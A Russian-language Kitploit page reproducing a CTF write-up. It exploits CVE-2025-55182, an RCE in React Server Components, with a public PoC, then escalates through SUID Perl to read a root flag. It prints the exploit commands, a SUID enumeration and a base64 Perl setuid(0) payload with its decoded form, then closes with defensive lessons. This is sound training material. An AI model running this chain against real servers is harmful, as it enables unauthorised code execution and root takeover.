Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Explosive-As-Hell-MCS-Qualifer-Web-500 — [First-Blood-XO] React Server Component endpoint vulnerable to CVE-2025-55182 (RCE) → enumerated SUID binaries → /usr/bin/perl had SUID set → used Perl's POSIX setuid(0) to escalate to root → read /root/flag.txt | Kitploit
Инструменты/GitHubGitHub/abdullahmaqbool22/explosive-as-hell-mcs-qualifer-web-500
Повышение привилегийРазведкаАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийCTFТестирование на ПроникновениеОбучение и ОбразованиеЭксплуатация Бинарных Файлов

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Лаборатории и Практика
GitHubabdullahmaqbool22/explosive-as-hell-mcs-qualifer-web-500

Explosive-As-Hell-MCS-Qualifer-Web-500

[First-Blood-XO] React Server Component endpoint vulnerable to CVE-2025-55182 (RCE) → enumerated SUID binaries → /usr/bin/perl had SUID set → used Perl's POSIX setuid(0) to escalate to root → read /root/flag.txt

Репозиторий
4 месяцев назадЕщё не проверено

CVE-2025-55182 — RCE в React Server Components | Writeup для CTF

Категория: Web Exploitation | Сложность: Средняя | Уязвимость: Удалённое выполнение кода → Повышение привилегий через SUID


TL;DR

Эндпоинт React Server Components, уязвимый для CVE-2025-55182 (RCE) → перебор SUID-бинарников → /usr/bin/perl имел установленный SUID → использование POSIX setuid(0) в Perl для повышения до root → чтение /root/flag.txt.

Флаг: MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}


Шаг 1 — Разведка

Цель: http://challenge.cybermesh.site:30035/

Целью было React-веб-приложение, использующее React Server Components (RSC) — относительно новую архитектуру, которая выполняет компоненты на стороне сервера и передаёт сериализованный вывод обратно клиенту через собственный проводной формат.

Эта архитектура создаёт границу выполнения на стороне сервера. Некорректная обработка входных данных на этой границе — именно то, что использует CVE-2025-55182.


Шаг 2 — Уязвимость: CVE-2025-55182

RCE в React Server Components — Сервер не фильтрует управляемые пользователем данные перед тем, как они попадают в слой выполнения серверных компонентов. Это позволяет атакующему внедрять shell-команды ОС, которые выполняются в контексте процесса Node.js.

Цепочка атаки:

  1. Атакующий формирует вредоносную полезную нагрузку RSC
  2. Сервер десериализует входные данные и передаёт неочищенные значения в функцию серверного компонента
  3. Выполняется команда ОС, вывод передаётся обратно в ответе RSC
  4. Атакующий считывает вывод команды из тела ответа

Шаг 3 — Подготовка эксплойта

Существует публичный PoC для этой CVE:

root@kitploit:~
git clone https://github.com/surajhacx/react2shellpoc.git
cd react2shellpoc

Первичная проверка — подтверждение RCE и контекста выполнения:

root@kitploit:~
python exploit.py -t http://challenge.cybermesh.site:30035/ -c "whoami"

Вывод:

root@kitploit:~
[+] EXPLOITATION SUCCESSFUL

  ► app

Сервер работает от пользователя app. Не root — требуется повышение.


Шаг 4 — Перебор SUID

Сканирование SUID-бинарников:

root@kitploit:~
python exploit.py -t http://challenge.cybermesh.site:30035/ \
  -c "find /bin /usr/bin /sbin /usr/sbin -perm -4000 2>/dev/null || true"

Вывод:

root@kitploit:~
[+] EXPLOITATION SUCCESSFUL

  ► /usr/bin/gpasswd
  ► /usr/bin/perl       <--- !!!
  ► /usr/bin/chsh
  ► /usr/bin/su
  ► /usr/bin/chfn
  ► /usr/bin/umount
  ► /usr/bin/mount
  ► /usr/bin/passwd
  ► /usr/bin/newgrp

У /usr/bin/perl установлен SUID-бит. Это хорошо известный GTFOBin — когда Perl принадлежит root и имеет SUID, он выполняется с привилегиями root независимо от того, кто его вызывает.


Шаг 5 — Повышение привилегий через SUID Perl

Создана полезная нагрузка Perl, закодированная в base64, которая:

  • Устанавливает PATH
  • Вызывает POSIX::setuid(0) для повышения до root
  • Открывает и читает /root/flag.txt

Отправлена через эндпоинт RCE:

root@kitploit:~
python exploit.py \
  -t http://challenge.cybermesh.site:30035/ \
  -c "echo dXNlIFBPU0lYOyRFTlZ7UEFUSH09Jy9iaW46L3Vzci9iaW4nO3NldHVpZCgwKTtvcGVuKG15JHZkQzlmbGFnLCc8JywgJy9yb290L2ZsYWcudHh0Jyk7cHJpbnQgd2hpbGUoPCR2ZEM+KTs= | base64 -d > /tmp/p.pl && /usr/bin/perl /tmp/p.pl"

Расшифрованная полезная нагрузка примерно такая:

root@kitploit:~
use POSIX;
$ENV{PATH}='/bin:/usr/bin';
setuid(0);
open(my $vdC9flag,'<', '/root/flag.txt');
print while(<$vdC9flag>);

Вывод:

root@kitploit:~
[+] EXPLOITATION SUCCESSFUL

  ► MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}

Флаг

root@kitploit:~
MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}

Ключевые выводы

1. Поверхность атаки RSC недооценена. React Server Components — новая парадигма. Многие развёртывания не защищены от инъекций входных данных на границе серверных компонентов. Эта CVE напоминает, что «серверный рендеринг» сам по себе небезопасен — граница выполнения всё равно требует правильной фильтрации.

2. SUID на интерпретируемых средах выполнения = мгновенный root. /usr/bin/perl с SUID — классическая ошибка конфигурации. GTFOBins подробно это описывает. Никогда не устанавливайте SUID-бит на скриптовые языки (Perl, Python, Ruby и т.д.) — в отличие от скомпилированных бинарников, предназначенных для SUID (su, passwd), эти среды предоставляют тривиальные пути повышения привилегий.

3. Флаг самосознательный. SU1D_AR3_FUN_BUT_N0T_EVERYTIM3 — задание было явно спроектировано с использованием SUID Perl как предполагаемого пути повышения. Чистая цепочка.


Краткое описание цепочки атаки

root@kitploit:~
CVE-2025-55182 (RSC RCE)
    └─> whoami → пользователь "app"
    └─> поиск SUID-бинарников
    └─> /usr/bin/perl (SUID root) обнаружен
    └─> base64 полезная нагрузка Perl → запись в /tmp/p.pl
    └─> SUID perl /tmp/p.pl → setuid(0) → cat /root/flag.txt
    └─> ФЛАГ ✓

Ссылки

  • github.com/surajhacx/react2shellpoc
  • GTFOBins — perl SUID
  • NVD — CVE-2025-55182

Написал Abdullah Maqbool — Penetration Testing Engineer @ TISS | CRTA · CRTOM · CompTIA PenTest+

Скачать инструмент